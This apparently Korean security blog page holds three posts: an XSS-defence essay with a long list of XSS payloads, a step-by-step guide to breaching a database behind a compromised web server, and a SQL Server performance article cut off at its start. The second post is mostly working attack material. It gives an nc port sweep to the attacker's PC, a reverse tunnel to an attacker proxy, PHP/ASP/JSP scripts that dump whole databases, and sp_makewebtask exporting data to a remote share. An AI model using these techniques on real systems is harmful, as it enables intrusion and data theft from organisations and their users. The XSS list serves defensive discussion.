98..Etc/Security2010. 4. 20. 15:16
반응형

XSS 공격에 대한 대응 고민

XSS 공격에 대한 고민

XSS는 Cross Site Scripting 의 약자입니다.

CSS 로 줄여쓰지 않는것은 CSS(Cascading Style Sheets) 와 구분해서 사용하기 위함이라 합니다.


아무튼 XSS 는 SQL-Injection 과 더불어서 웹해킹의 대명사로 불리고 있습니다.
서버가 직접 해킹당하는 것은 아니기에 우리나라에서는 큰 문제로 부각되고 있지는 않지만

외국에서는 중요 취약점으로 이미 분류하고 있습니다.


왜냐하면 XSS는 사용자(클라이언트)가 해킹당하는 문제입니다.
XSS 공격에 의해 개인정보가 유출될 수도 있고, 악성코드에 감염될 수도 있습니다.
즉 내 사이트를 방문한 고객에게 직접적으로 문제가 발생할 수 있는 취약점이기에

사이트를 방문한 고객에 대한 신뢰를 생각한다면 결코 만만한 문제가 아닌 것이죠..


페이팔 같은 경우 2006년 XSS 에 의해 피싱사이트로 유도되어 개인정보가 유출된 사고가 있었는데
피싱과 연계되어 신용카드 번호같은 금융정보가 유출되는 사고가 발생한다면
사용자에게 금전적인 손해가 발생할 수 있으며
사이트의 신뢰에 큰 악영향을 줄 것은 분명한 일입니다.
따라서 사소한 XSS 취약점이라도 문제점이 없도록 노력하는 모습을 볼 수 있습니다.


일본인 특유의 조심성, 호들갑일수 있지만
모 일본 사이트의 게시판이 폐쇄된 적이 있었는데
보안진단중에 게시판에 XSS 취약점이 발견되어 일단 계시판을 폐쇄하고
문제점을 개선한 후에 재 오픈하겠다는 내용이었습니다.


XSS가 발생할 수 있는 경우는 2가지 형태가 있습니다.
가장 단순한것은 사용자 Input 값이 출력값에 그대로 포함되는 형태입니다.

예를들어  hxxp://www.xxxx.com/login.asp?id=bangrip<script>alert("ff");</script> 로 호출했을때
서버에서 응답한 html 소스에 입력값이 그대로 출력되어 스크립트가 실행되는 것이죠.
이와같은 경우는 input 페이지와 output 페이지가 동일한 경우입니다.


반면 공격자가 삽입한 스크립트가 db에 저장되어 실행되는 경우가 있습니다.
이를테면 게시판의 제목이나 본문에 스크립트를 삽입했을경우 input 페이지는
write.asp 이지만 출력페이지는 view.asp 가 되는 경우입니다.


이경우는 스크립트가 삽입된 게시물을 클릭한 모든이에게 문제가 발생할 수 있기 때문에
전자보다 더 리스크가 크다고 볼 수 있습니다.
 
아무튼 이번 쓰레드 주제 역시 근본적인 대응에 대한 고민입니다.
단순 삽입이 되던, db에 저장되었다 실행이 되던간에

어떻게 하면 XSS 취약점이 없다고 자신할 수 있는 안전한 사이트를 만들 것인가에 대한 고민이죠..


XSS는 IPS나 웹방화벽으로 막는것이 어렵다는 것이 제 개인적인 생각입니다.
왜냐하면 SQL-Injection 은 DB에서 사용하는 문자이기에 시그니처를 만들 수 있었지만
XSS 태그와 정상적인 HTML 태그를 구분해 내는것이 쉽지 않기 때문입니다.
(물론 사이트에 따라 다를 수 있습니다.)

document.cookie 라는 문자열 역시 탐지 패턴으로 걸어 보았더니. 무수하게 많이 뜨더라고요.
즉 false-positive 가 너무 많아서 순수 공격을 가려내기가 힘이든다는 것이죠..

SecurityPlus에 게시된 XSS 공격에 사용되는 시그니처들입니다.


http://cafe.naver.com/ArticleRead.nhn?clubid=10414494&page=8&searchtype=1&query=XSS&searchdate=all&articlemedia=0&sortby=date&articleid=5517&referrerAllArticles=true

[1] XSS Javascript Injection
      <SCRIPT SRC="http://xxx/xss.js></SCRIPT>

[2] Image XSS의 다양한 Type
      <IMG SRC="javascript:alert('XSS');">
      <IMG SRC="javascript:alert('XSS')>
      <IMG SRC="JaVaScRiPt:alert('XSS')>
      <IMG SRC="javascript:alert(&quot;XSS&quot;)>
      <IMG SRC="`javascript:alert("RSnake says, 'XSS'")`>
      <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
      <IMG SRC="javascript:alert(String.fromCharCode(88,83,83)>
      <IMG SRC="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
      <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
      <IMG SRC="jav ascript:alert('XSS');">
      <IMG SRC="jav&#x09;ascript:alert('XSS');">
      <IMG SRC="jav&#x0A;ascript:alert('XSS');">
      <IMG SRC="jav&#x0D;ascript:alert('XSS');">
      <IMG SRC=" &#14;  javascript:alert('XSS');">
      <IMG SRC="javascript:alert('XSS')"
      <IMG DYNSRC="javascript:alert('XSS')">
      <IMG LOWSRC="javascript:alert('XSS')">
      <IMG SRC='vbscript:msgbox("XSS")'>


[3] Non-alpha-non-digit XSS
      <SCRIPT SRC="http://xxxx/xss.js">>

[4] Title Tag XSS
      <script>alert("XSS");</script>

[5] Input Tag XSS
            <BODY ONLOAD=alert('XSS')>


[7] Meta Tag XSS
      <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
      <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
 

[8] Frame Tag XSS
      <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
      <iframe src="http://xxxx/scriptlet.html <
      <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>


[9] Table Tag XSS
      <TABLE BACKGROUND="javascript:alert('XSS')">
      <TABLE><TD BACKGROUND="javascript:alert('XSS')">


[10] DIV Tag XSS
      <DIV STYLE="background-image: url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS'))">
      <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
      <DIV STYLE="background-image: url(&#1;javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS'))">
      <DIV STYLE="width: expression(alert('XSS'));">
 
[11] Style Tag XSS
      <STYLE>@import'http://xxx/xss.css';</STYLE>
      <XSS STYLE="behavior: url(xss.htc)undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined;">
      <STYLE>li {list-style-image: url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')");}</STYLE><UL><LI>XSS
      <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
      <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
      <XSS STYLE="xss:expression(alert('XSS'))">
      <STYLE>.XSS{background-image:url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')");}</STYLE><A CLASS=XSS></A>
      <STYLE type="text/css">BODY{background:url(javascript:alert()undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedXSS')")}</STYLE>
 
[12] Various Tag XSS
      <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
      <LINK REL="stylesheet" HREF="http://xxx/xss.css>
      <!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
      <BASE HREF="javascript:alert('XSS');//">
      <EMBED SRC="http://xxxx/xss.swf AllowScriptAccess="always"></EMBED>


[13] Other Types
      <<SCRIPT>alert("XSS");//<</SCRIPT>
      <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
      \";alert('XSS');//
      ¼script¾alert(¢XSS¢)¼/script¾
      ><script>alert(xss)</script>

</PRE>

오탐이 없는 시그니처를 만들어 냈다고 하더라도
위와같이 수많은 패턴들이 존재하기 때문에 모든 공격을 방어할 수가 없습니다.
 
결국은 서버사이드 스크립트 페이지 레벨에서 막을 수 밖에 없습니다.
html 태그 문자가 입력값에 포함되어 있을 경우 예외 처리를 하는 것이죠.
< → &lt;> → &gt;" → &quot;( → &#40;) → &#41;# → &#35;
 
그런데 무조건 이 룰을 적용할 수는 없습니다.
만일 검색 페이지라면 (주)한국  이라는 검색어로 사용자가 검색을 시도할 경우
&#40;한국&#41; 이라는 문자열로 검색이 될 테니  정상적으로 동작을 안할 수 있는 것이죠.
 
즉 특수문자를 예외처리 하기 이전에 페이지에서 사용하는 비지니스 로직과

이상이 없는지 먼저 판단을 해야 합니다.

그 다음에 작업을 해야 XSS 필터 적용했다가 문제가 발생해서 원복시키는 불상사를 막을 수 있습니다.

실제로 개발팀과 작업을 해 보니 SQL-Injecton 대응때보다 훨씬 시간이 많이들고 어렵더라고요..
 
개발팀에서 가이드한대로 알아서 처리해 주면 좋겠건만.
페이지마다 하나하나 어떻게 하라고 예기를 해 주어야 만족할 만한 수정이 되니까요.
 
역시 결론은 설계시 안전한 설계가 중요하다는 생각입니다.
개발 Rule 에 XSS 대응 관련 Rule 을 포함시키고 취약점이 발견이 되면
개발 Rule을 제대로 준수하지 않은 개발팀에 책임을 전가시키는 것이죠 ㅎㅎㅎ
 
쓰레드를 쓰다 보니 별로 도움이 안되는 결론이네요., 에구궁..
참고로 XSS에 대한 정보는 아래 사이트에서 많이 얻을수가 있습니다.
 
http://www.xssed.com/


 

출처 : http://www.securityplus.or.kr/xe/?document_srl=20235&mid=textyle&vid=bangrip1


Posted by 1010
98..Etc/Security2008. 7. 24. 12:53
반응형

웹서버를 경유한 DB서버 해킹

 

웹서버를 경유한 DB서버 해킹


방화벽의 Private또는 DMZ에 웹서버또는 DB와 연동할 수 있는
서버를 점령 후에 어떻게 DB 서버를 해킹하는가에 대한 궁금증 해결을 위해 작성한 문서이다.
-----------------------------------------------------------------------------------------------------------------
I. 네트워크 구성도
1) 인터넷  -------방화벽------- 웹서버 --------방화벽---------DB서버

2) 인터넷  -------방화벽------- 웹서버   
                               DB서버 
                               (DMZ존)
------------------------------------------------------------------------------------------------------------------
II. 개요
본 문서에 있는 방법은 이미 다 알고 있는 내용이거나 인터넷에 찾아 보면 다 나오는 내용들이다
내용상의 틀린 부분이 있으면 지적해 주시면 감사감사~~~
Private 또는 DMZ에 위치하는 DB 서버를 해킹 하기 위해선
먼저 DB 접속 인증 id/passwd 또는 sid 를 알아야 하며 또한 웹서버를 경유하여 DB와 접속을 하여야 하므로
어떤 방법으로든 웹서버는 점령하여야 한다.
웹서버 점령에 관해서는 이 문서에서는 언급 하지 않는다.
이유는 너무나 많은 방법이 있으며 나도 그 모든 방법에 대해서 모른다.
또한 이와 같이 삽질을 안하고도 대다수의 웹서버의 temp,tmp디렉토리 또는 admin 권한으로 DB의 내용을 획득할
수도 있으나 어쩔수 없이 DB 쿼리를 해야 하는 상황에 대해서 설명한다.
물론 해당 웹서버를 직접 공격하지 않고 sql injection 공격을 할 수 있으면 아래와 같은 삽질은 하지 않아도 될것이다.
일단 방화벽 내의 웹서버를 점령한 후 DB서버를 해킹 하는 방법은 상당히 많은
방법이 있으며 dbms의 종류 웹서버의 종류 cgi의 종류에 따라 많은 조합의 공격법이 있다.
또한 DB 서버를 해킹할때 root권한 획득과 같은 방법은 별 필요가 없을 것이다.
왜냐하면 결국 DB 서버의 해킹의 목적은 DB의 내용을 획득하는 것이기 때문에 root권한이 필요가 없다.
DB를 쿼리하기 이전에 웹서버 앞의 Firewall Rule에 따라 접근개념이 틀려 질 수 있으므로
아래와 같이 크게 2가지 분류로 나누어 접근하도록 하겠다.
Firewall Rule을 파악하기 위해서 공격자의 PC에 Sniffing Tool을 설치하고 해당 웹서버에는 nc를 설치한다.
공격자의 PC에서는 해당 웹서버에서 공격자 PC로 전송되는 패킷에 대한 검사를 수행하고
해당 웹서버에서는 다음과 같이 실행한다
nc -v -w2 -z [공격자 PC IP] 1-65535
이는 해당 웹서버에서 공격자 PC로의 어떤 서비스가 통과 가능한지 파악하기 위함이다.
Firewall Rule에서 특정 서비스에 대해서만 Accept되어 있을 수 있다 예를 들어 외부로 나가는 dns또는 특정 Application의
update서비스와 같이 특정 서비스만 Accept되어 있으면 그 서비스를 판단할 수 있다.
또한 공격자의 PC에서 Sniffing을 설치하여 패킷 검사를 하는 이유는 nc는 nmap과 같이 closed와 filtered를 구분하지
못하기 때문에 수동으로 패킷을 검사하여 확인을 한다.
nc수행 결과 공격자의 PC로 한개 이상의 syn 패킷이 전송이 된다면 아래 1번 방법으로 DB 쿼리가 가능하다
2번 방법은 웹서버에서 인터넷구간으로의 Outbound Rule이 서비스 전체에 대해 Deny일 경우로
해당 웹서버의 cgi를 이용하여 DB쿼리를 수행한다.

-------------------------------------------------------------------------------------------------------------------
III. 실전 DB 해킹
1) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Accept인 경우
이는 port redirect(cevert tunnel, reverse telnet)이 가능한 상태이다.
즉 외부에서 해당 웹서버의 쉘을 띄울수가 있는 상태이므로 쉽게 DB쿼리가 가능하다.
우선 공격대상 네트워크는 아래와 같다고 가정한다.
실제 Firewall/네트워크 구성이 상당수 기업들이 이와 유사하게 설정 되어 있다.
===================================================================================================================
[공인:210.210.210.210]                         [공인: 220.220.220.220]                       [사설:192.168.0.100]
공격자 PC1 -------------------- 방화벽 ----------------- 웹서버 ------------방화벽----------------- DB 서버
                      Any    웹서버 80     Accept              웹서버   DB서버  DB서비스 Accept
                      Any    웹서버 Any    Deny                Any      DB서버  Any      Deny
                      웹서버 Any    8080   Accept
                      웹서버 Any    Any    Deny
공격자 PC2(Proxy 서버)
[공인:210.210.210.211]
=====================================================================================================================
port redirect는 yatunnel이란 tool을 이용하여 아래와 같이 수행한다.
만일 웹서버에 sql client툴이 있을경우 이를 이용하면 쉽게 DB에 접속하여 쿼리를 할 수 있으나
경험상 아마도 없을 것이다. ^^;
- 공격자 PC2(Proxy 서버)에서의 작업
 Proxy 서버측에서 웹서버와 Tunneling 할 port를 open한다.
 [root@Proxy Server]# ./tun-proxy -p 12345

- 웹서버에서의 작업
 tun-server의 소스를 보면 127.0.0.1:22로 redirect를 한다.
 이 부분은 자신이 원하는 주소와 port를 수정하여 사용 가능하다.
 즉, 다른 호스트로 redirect가 가능하다. 즉 이를 192.168.0.100:1433으로 수정한다.
 MSSQL:1433, Oracle:1521, MySQL:3306
 [green@Internal Server]$ ./tun-server -h 210.210.210.211 -p 12345
- 공격자 PC1 에서의 작업
 각종 SQL Client를 이용하여 210.210.210.211:12345로 DB와 Connect하고 DB 쿼리를 한다.
 MSSQL, MySQL, Oracle에 대한 SQL Client는 아래 사이트에 있는 SQL Gate가 사용이 용이하고 쉽다.
 http://www.sqlgate.com/html/index.html
* yatunnel을 이용한 SQL Client 연결은 한번도 테스트는 해 보지 않았다
 안될 이유는 없을것 이라고 판단이 되나 누군가 테스트 해 볼 기회가 된다면 안되면 연락을 주길 바란다.

2) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Deny인 경우
Outbound Rule이 Deny일 경우 순전히 해당 웹서버의 cgi를 이용하여 DB 쿼리를 하여야 한다.
이는 상당히 많은 조합이 필요하다 ㅠㅠ;
가장많이 사용되는 php, asp, jsp를 예로 들어 보겠다.
2-1) php를 사용할 경우
가장 먼저 DB Name과 Table Name을 알아야 DB 쿼리를 한다.
웹서버의 php파일들을 뒤져서 DB Name과 Table Name을 찾아 낼수 있지만 이 얼마나 노가다 인가...
그래서 아래와 같은 DB 구조 파악을 할 수 있는 php파일을 실행 시키자.
아래의 예제는 Mysql을 예로 들었다.
물론 아래의 몇몇 변수는 시스템 환경에 맞게 수정을 하여야 한다.

------------------------------------디비/테이블 알아내기---------------------------------------------
<?
$db = mysql_connect($host, $user, $password);
mysql_select_db($database);
//전체 DB보기
$db_list = mysql_list_dbs($db);
echo "전체 DB >>>>>";
while ($row = mysql_fetch_object($db_list)) {
$database= $row->Database;
echo "<a href=$PHP_SELF?dbname=$database>$row->Database </a>|| ";
}
$table_rs = mysql_list_tables($database);                  ////// 테이블을 볼 테이타 베이스명
echo "<style>td {font-size:9pt}</style>
<table >
<tr>";
$rows = 0;
while($tables = mysql_fetch_array($table_rs)){
       $query = "select * from $tables[0]";
       $field_rs = mysql_query($query, $db);
       $field = mysql_fetch_field($field_rs);            /////////// 필드명 구하기
       $cols = mysql_num_fields($field_rs);              /////////// 필드수 구하기
       if($rows%5 == 0) echo "</tr><tr><td height=20></td></tr><tr>";      //// 칼럼수가 5개 이면 줄 바꿈
       echo "<td valign=top>
             <table width=180 cellspacing=0 border=1 bordercolordark=white bordercolorlight=black>
               <tr>
                   <td colspan=2 align=center><b>$tables[0]</b></td>
               </tr>
               <tr align=center>
                   <td >필드명</td>
                   <td >Type</td>
               </tr>";
for($i=0; $i < $cols; $i++){
               echo "
               <tr align=right>
                   <td>".mysql_field_name($field_rs, $i)."</td>
                   <td>".mysql_field_type($field_rs, $i)." (".mysql_field_len($field_rs, $i).")</td>
               </tr>\n";
       }
       echo "</table></td>";
       $rows++;
}
echo "</tr></table>";
?>
-------------------------------------------------------------------------------------------------------------

-----------------------------테이블의 데이타 쿼리하기--------------------------------------------------------
// 데이타 양이 많을경우 디져버릴수 있으니 게시판 형태로 수정하여야 한다.
<?

$connect=mysql_connect("localhost","user_id","password") or  die("Fail to connect SQL");
mysql_select_db( "database_name",$connect);
print "<HTML>n"; 
echo("<h2>
       테이블  $tab_name  의 모든 데이타를 가져옵니다
    </h2>");
print " <form action=$PHP_SELF>";

$stmt = "SELECT * FROM $tab_name";
 $nresult = mysql_query($stmt,$connect );
 $nrows = mysql_affected_rows();
 $results=mysql_fetch_array($nresult);
if ( $nrows > 0 ) {
       print "<TABLE BORDER="1">n";
       print "<TR>n";
       $j=0; 
       while ( list( $key, $val ) = each( $results ) ) {
              if ( $j%2==1  )   print "<TH> $key</TH>n";
             $j++; 
       }     
       print "</TR>n";
                        
      $k=0; 
      for ( $k = 0; $k < $nrows; $k++ ) {
            mysql_data_seek($nresult,$k);
            $results=mysql_fetch_array($nresult);
          
            $m=0; 
            while ( list( $key, $val ) = each( $results ) ) {
                  if ( $m%2==1  )   print "<TD> $val</TD>";
                  $m++;
           } // end of while
            print "</TR>";
    } // end of for
print "</TABLE>n";
} else {
       echo "No data found<BR>n";
}     
print "$nrows Records Selected<BR>n";
                      

print " INPUT TABLE NAME <input type=text name=tab_name value=$tab_name>";
print " <br> <input type=submit value='검색'>";
print " </form>";
print " </html>";
?>
-------------------------------------------------------------------------------------------------------

------------------------------------테이블의 쿼리값을 파일로 저장---------------------------------------
<?

$connect=mysql_connect("localhost","user_id","password") or  die("Fail to connect SQL");
mysql_select_db( "database_name",$connect);
$stmt = "select * from tablename into outfile 'filename'";
mysql_query($stmt,$connect );
?>
--------------------------------------------------------------------------------------------------------

2-2) asp 를 사용할 경우
asp를 사용한다면 90% 이상 mssql과 조합을 이루고 있을 것이다.
Mssql은 sp_maskwebtask API가 있어 상당히 편리(?)하다.
쿼리한 결과값을 화면에 출력하는 수고를 하지 않아도 된다.
이 방법은 asp에만 사용되는 방법이 아니라 해당 DBMS가 MSSQL이라면 php또는 jsp 에서도 해당 cgi에 맞게 DB Connect후
sql query만 아래와 같이 실행하면 된다.
sp_maskwebtask를 이용하여 쿼리의 결과값을 Local서버 또는 Remote서버로 html로 저장시킬 수 있다.
EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U'''
이 명령어로 sysobjects에 있는 User가 생성한 DB 테이블을 쿼리한 결과값을 c:\inetpub\wwwroot\sqloutput.html에 저장한다.
EXEC sp_makewebtask '\\10.0.0.8\public\hack.htmk', 'SELECT * FROM user'
또한 쿼리한 결과값을 remote에 저장시킬 수 있다.
---------------------------------------------------------------------------------------------------------
테이블 정보 알아내기
<%
set Conn = server.createobject("adodb.connection")
Conn.Open "test","sa", ""
set rs = Conn.Execute(" EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U''' ")
%>
-----------------------------------------------------------------------------------------------------------
자 이제 sales 테이블의 결과를 보자.
-----------------------------------------------------------------------------------------------------------
해당 sales 테이블의 전체 내용 쿼리하기
<%
set Conn = server.createobject("adodb.connection")
Conn.Open "test","sa", ""
set rs = Conn.Execute(" EXEC sp_makewebtask 'c:\inetpub\wwwroot\aaa.html', 'select * from sales' ")
%>
-----------------------------------------------------------------------------------------------------------
우와 간단하고 좋다... 역시 MS...

2-3) jsp 를 사용할 경우
jsp일 경우 Windows, *nix와 같이 시스템에 상관없이 운영되기 때문에
연결한 DBMS가 MSSQL, MYSQL, Oracle, Informix 등 다양한 DBMS와 연결을 한다.
가장 많이 사용되는 MSSQL과 Oracle을 예로 들어보잣...
먼저 MSSQL은 asp를 사용할 때와 마찬가지로 sp_maskwebtask API를 사용해서 DB 쿼리를 수행할 수 있다.
---------------------------------------------------------------------------------------------------------
MSSQL 테이블 정보 알아내기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%> 
<%
 String url ="jdbc:freetds:sqlserver://192.168.0.10:1433/WEBDB";
 String id = "sa";
 String pass = "";
 Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
 Connection conn = DriverManager.getConnection(url,id,pass); 
  
 Statement stmt = conn.createStatement(); 
 String sql = " EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U''' "; 
 ResultSet rs = stmt.executeQuery(sql);   
%>
-----------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------
MSSQL sales 테이블 쿼리하기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%> 
<%

 String url ="jdbc:freetds:sqlserver://192.168.0.10:1433/WEBDB";
 String id = "sa";
 String pass = "";
 Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
 Connection conn = DriverManager.getConnection(url,id,pass); 
  
 Statement stmt = conn.createStatement(); 
 String sql = " EXEC sp_makewebtask 'c:\inetpub\wwwroot\aaa.html', 'select * from sales' "; 
 ResultSet rs = stmt.executeQuery(sql);   
%>
-----------------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------
Oracle 테이블 정보 알아내기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%>
<%
 Class.forName("oracle.jdbc.driver.OracleDriver");
 String JDBCDriverType = "jdbc:oracle:thin";
 String DBHost = "test.inzen.com";
 String Port = "1521";
 String SID = "ORA8";
 String url = JDBCDriverType+":@"+DBHost+":"+Port+":"+SID;
 String userID = "test";
 String password = "test";
 String query = "select * from tab";
 Connect con = DriverManager.getConnection(url, userID, password);
 Statement stmt = con.createStatement();
 ResultSet rs = stmt.executeQuery(query);
 File outputFile = new File("jsp웹루트디렉토리/oratable.txt");
 FileWriter fout = new FileWriter(outputFile);
 PrintWriter ps = new PrintWriter(new BufferedWriter( fout ));
 while ( rs.next() ) {
  ps.print ( rs.getString ( 1 ) ) ;
  ps.print ( "        " ) ;
  ps.println ( rs.getString ( 2 ) ) ;
 }
 ps.close() ;
%>
---------------------------------------------------------------------------------------------------------------
위의 File outputFile 에 파일명을 지정하는데 절대 경로와 상대경로 다 쓸 수 있다.
만약 jsp 의 엔진으로 tomcat 을 사용하고 있는경우 /usr/local/jakarta-tomcat/bin 에 default 로 파일이 생성되게 된다.
그러므로 웹에서 불러 올수 있는 경로를 지정해야 한다.
/usr/local/jakarta-tomcat/webapps 의 위치가 jsp 웹  루트 디렉토리라면
File outputFile = new File("/usr/local/jakarta-tomcat/webapps/oratable.txt");
이런 식으로 지정을 한다.
---------------------------------------------------------------------------------------------------------------
Oracle 특정 테이블 쿼리하기
<%@ page contentType="text/html; charset=euc-kr" %>
<%@ page import="java.sql.*, java.io.*"%>
<%
 Class.forName("oracle.jdbc.driver.OracleDriver");
 String JDBCDriverType = "jdbc:oracle:thin";
 String DBHost = "test.inzen.com";
 String Port = "1521";
 String SID = "ORA8";
 String url = JDBCDriverType+":@"+DBHost+":"+Port+":"+SID;
 String userID = "test";
 String password = "test";
 String query = "select gongi, day from gongi";
 Connect con = DriverManager.getConnection(url, userID, password);
 Statement stmt = con.createStatement();
 ResultSet rs = stmt.executeQuery(query);
 File outputFile = new File("jsp웹루트디렉토리/oratable.txt");
 FileWriter fout = new FileWriter(outputFile);
 PrintWriter ps = new PrintWriter(new BufferedWriter( fout ));
 while ( rs.next() ) {
  ps.print ( rs.getString ( 1 ) ) ;
  ps.print ( "        " ) ;
  ps.println ( rs.getString ( 2 ) ) ;
 }
 ps.close() ;
%>
---------------------------------------------------------------------------------------------------------------
The End.

by 작두이글루
Posted by 1010
98..Etc/Security2008. 7. 24. 12:03
반응형
용 프로그램이 더 빠르게 실행되도록 하기 위해서는 여기 저기를 조금씩 손보기만 하면 됩니다. 문제는 어떻게 손보는가에 있죠! 조만간 응용 프로그램의 SQL 쿼리가 여러분이 의도한 방식대로 응답하지 않는 상황에 직면하게 될 것입니다. 원하는 데이터를 반환하지 않거나 아니면 너무 길어서 적합하지 않습니다. SQL이 보고서나 엔터프라이즈 응용 프로그램의 속도를 떨어뜨려 엄청난 시간 동안 기다려야 하는 상황이 발생하면 사용자는 그리 즐거울 수 없을 것입니다. 부모님이 자녀가 귀가 시간을 어긴 이유를 듣고 싶어하지 않듯 사용자 역시 쿼리가 그렇게 오래 걸리는 이유를 알고 싶어하지 않습니다. (“엄마, 죄송해요. LEFT JOIN을 너무 많이 사용했네요.”) 사용자는 응용 프로그램이 신속히 응답하고 보고서가 분석 데이터를 즉시 반환하기를 원합니다. 저 역시도 웹 서핑 중 한 페이지를 로드하는데 10초(사실 5초 정도) 이상이 걸리면 참을 수가 없어집니다.
이러한 문제를 해결하기 위해서는 그 문제의 원인을 찾아 내는 것이 중요합니다. 그렇다면 어디부터 시작해야 할까요? 문제의 원인은 일반적으로 데이터베이스 디자인과 그 데이터베이스를 액세스하는 쿼리에 있습니다. 이번 달 컬럼에서는 SQL Server 기반 응용 프로그램의 성능이나 확장성을 향상시키는데 사용할 수 있는 네 가지 테크닉을 살펴 보겠습니다. 그리고 LEFT JOIN과 CROSS JOIN 사용 및 IDENTITY 값 검색도 살펴 보겠습니다. 마술같은 해결책은 없다는 것을 기억하십시오. 데이터베이스와 쿼리를 조정하려면 시간이 걸리고 분석과 함께 수차례의 테스팅이 필요합니다. 여기 제시된 테크닉은 증명이 된 것이지만 사용자 응용 프로그램에 따라 더 잘 실행되는 테크닉과 그렇지 않은 테크닉이 있을 수 있습니다.

INSERT에서 IDENTITY 반환 T
가장 궁금한 문제 즉, SQL INSERT를 실행한 후 어떻게 IDENTITY 값을 검색하는지부터 살펴 보겠습니다. 문제는, 그 값을 검색하는 쿼리를 어떻게 작성하는지가 아니라 언제 어디서 작성하는가 입니다. SQL Server에서, 활성 데이터베이스 연결에서 가장 최신 SQL 문 실행에 의해 만들어진 IDENTITY 값을 검색하는 문은 다음과 같습니다.
SELECT @@IDENTITY 
이 SQL은 강력하지가 않으므로 가장 최근의 SQL 문이 INSERT가 아니거나 INSERT SQL이 아닌 다른 연결에 대해 이 SQL을 실행한다면 예상하는 값을 얻지 못할 것이라는 사실을 명심해야 합니다. IDENTITY를 검색하려면 다음과 같이 INSERT SQL 직후에 동일한 연결에서 이 코드를 실행해야 합니다.
INSERT INTO Products (ProductName) VALUES ('Chalk')  SELECT @@IDENTITY 
단일 연결에서 Northwind 데이터베이스에 대해 이러한 쿼리를 실행하면 Chalk라는 신제품에 대한 IDENTITY 값이 반환될 것입니다. 따라서 ADO를 사용하는 Visual Basic 응용 프로그램에서 다음 명령문을 실행할 수 있습니다.
Set oRs = oCn.Execute("SET NOCOUNT ON;INSERT INTO Products _ (ProductName) VALUES ('Chalk');SELECT @@IDENTITY")  lProductID = oRs(0) 
이 코드는 그 쿼리에 대한 행 카운트를 반환하지 않도록 SQL Server에 알리고 INSERT 문을 실행하며 그 새 행에 대해 만들어진 IDENTITY 값을 반환합니다. SET NOCOUNT ON 문은 반환된 Recordset에 새 IDENTITY 값이 들어 있는 한 행과 열이 있다는 것을 뜻합니다. 이 문이 없으면 (INSERT 문이 데이터를 반환하지 않으므로) 빈 Recorset가 반환되며 그 다음 반환되는 두 번째 Recordset에 IDENTITY 값이 들어 있습니다. 따라서 INSERT가 Recordset를 반환하도록 할 생각이 아니었던 경우에는 특히나 당황스러울 수 있습니다. 이러한 상황은, SQL Server는 행 카운트(즉, 영향을 받는 행)를 확인하고 그 카운트를 Recordset 표시로 해석하기 때문에 발생합니다. 따라서 올바른 데이터는 두 번째 Recordset로 밀려납니다. ADO에서 NextRecordset 메서드를 사용하면 이 두 번째 Recordset를 확인할 수 있지만 이 Recordset이 반환되는 첫 번째이자 유일한 값이라면 훨씬 쉽고 효율적일 것입니다.
이 테크닉이 작업을 실행하긴 하지만 SQL 문에 추가 코드가 필요합니다. 동일한 결과를 얻을 수 있는 또 다른 방법은 다음 코드에서 볼 수 있는 것처럼 INSERT 앞에 SET NOCOUNT ON 문을 사용하고 그 테이블의 FOR INSERT 트리거에 SELECT @@IDENTITY 문을 넣는 것입니다. 이렇게 하면 그 테이블에 대한 어떤 INSERT 문이나 자동으로 IDENTITY 값을 반환하게 됩니다.
CREATE TRIGGER trProducts_Insert ON Products FOR INSERT AS      SELECT @@IDENTITY  GO 
